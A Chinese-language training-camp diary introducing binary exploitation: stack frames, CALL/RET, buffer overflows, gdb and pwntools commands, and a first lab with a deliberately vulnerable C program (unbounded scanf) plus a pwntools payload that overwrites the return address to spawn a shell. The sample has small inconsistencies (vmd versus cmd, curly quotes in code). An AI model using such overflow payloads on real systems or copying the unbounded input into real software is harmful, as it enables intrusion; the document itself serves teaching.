集训第七天:初次接触PWN
梅翔学长今天帮助我们初次接触PWN。
PWN底层基础的原理
栈帧平衡
一些基本内容:
ESP:栈指针寄存器,存放一个指针,该指针永远指向系统栈最上面的栈帧的栈顶
EBP:基址指针寄存器,该指针永远指向系统栈最上面的栈帧的底部
函数栈帧:ESP和EBP之间内存空间为当前栈帧
在函数栈帧中一般包含以下几种信息:
局部变量:为函数举报变量开辟的内存空间
栈帧状态值:保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡得到)
函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置
如何保证栈帧平衡:
PUSH EBP // 将栈底指针存入栈,即保存当前栈帧状态值
MOV EBP,ESP // 将栈顶的值赋给栈底,即讲当前栈帧切换到新栈帧
XXXXXX // 函数中间部分
MOV ESP,EBP // 将栈底的值赋给栈顶,即降低栈顶,回首当前栈帧空间
POP EBP // 弹出栈底指针,即将当前栈帧底部保存的前栈帧值弹出,恢复出上一个栈帧
调用函数后,会先保留旧的栈帧并建立新的栈帧(这里栈底在上,栈顶在下)
函数返回的步骤:
1:保存返回值,通常将函数的返回值保存在寄存器EAX中。
2:弹出当前帧,恢复上一个栈帧。具体包括:<1> 在堆栈平衡的基础上,给ESP加上栈帧的大小,降低栈顶,回收当前栈帧的空间。<2> 将当前栈帧底部保存的前栈帧EBP值弹入EBP寄存器,恢复出上一个栈帧。<3> 将函数返回地址弹给EIP寄存器。3>2>1>
3:跳转:按照函数返回地址跳回母函数中继续执行。
每次调用一个函数都会新增一个栈帧(这里栈底在下,栈顶在上)
PS:栈的守护天使——GS,也称作Stack Canary/Cookie
调用函数(Call)
CALL可以化为两部分,即Push retaddr + Jump。先讲函数返回的地址入栈,再跳转到函数执行的位置处。
返回值(Ret)
RET也可以转化为两部分,即Pop retaddr + Jump。先是把返回值的地址出栈,再跳转回原本调用函数处。
缓冲区溢出(Buffer Overflow)
缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容,从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。 缓冲区溢出原指当某个数据超过了处理程序限制的范围时,程序出现的异常操作。
尤其是C语言,不像其他一些高级语言会自动进行数组或者指针的边界检查,增加溢出风险。C语言中的C标准库还具有一些非常危险的操作函数,使用不当也为溢出创造条件。
Linux下的Pwn常用命令
cd:进入文件夹
ls:列出当前目录下的所有文件
mkdir:
创建文件夹
pwd:
显示当前所在目录
chmod:
改变文件使用权限
objdump:
查看目标文件或者可执行的目标文件的构成
gdb:
使用gdb进行调试
checksec:
检测二进制的保护机制是否开启(peda中的命令)
gdb基本命令
start:
开始调试
pattc:
生成规律字符串
patto:
查找字符串
q:
退出
n:
执行一行源代码但不进入函数内部
ni:
执行一行汇编代码但不进入函数内部
s:
执行一行源代码而且进入函数内部
si:
执行一行汇编代码而且进入函数内部
c:
继续执行到下一个断点
b:
下断点
stack:
显示栈信息
x:
按十六进制格式显示内存数据
r:
运行代码
Pwntools基本函数
sendline():
向目标发送一行字符串
interactive():
实现和程序之间的交互
remote():
远程连接
context():
设置运行时变量
p32()/p64():
把整数转化为32/64位的字符串
u32()/u64():
把32/64位字符串转化成整数
asm()/disasm():
快速汇编/反汇编
log():
输出消息
Pwn的第一次练习
p1
程序源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vmd()
{
system("sh");
}
void A()
{
char a[100];
scanf("%s",a);
return;
}
int main(){
A();
}
输入gcc p1.c -o p1 -m32,用来编译32位的程序。
直接覆盖返回地址
根据源文件可以判断该程序调用A()函数时,在scanf中没有对字符串的长度做限制,即存在缓冲区溢出。
根据源码,本题的思路应该为通过缓冲区溢出,将RET处的地址修改为cmd()函数的地址,直接跳转到该函数后getshell。故先通过objdump命令寻找到cmd函数的地址
找到cmd函数的地址
然后输入gdb p1进入gdb调试界面。start开始调试程序。
自上而下分别为寄存器、代码段、栈段
单步进入A()
单步执行到scanf后,用pattc命令构造出一段较长的字符
继续单步执行,程序报错返回RET处的地址
使用patto命令查找得到偏移量
已知偏移量为112后,容易知道可以直接通过溢出在RET处覆盖原本的地址,直接跳至cmd()函数处。
payload如下:
from pwn import *
payload = “A” * 112 + “\x6b\x84\x04\x08”
p = process(“./p1”)
p.sendline(payload)
p.interactive()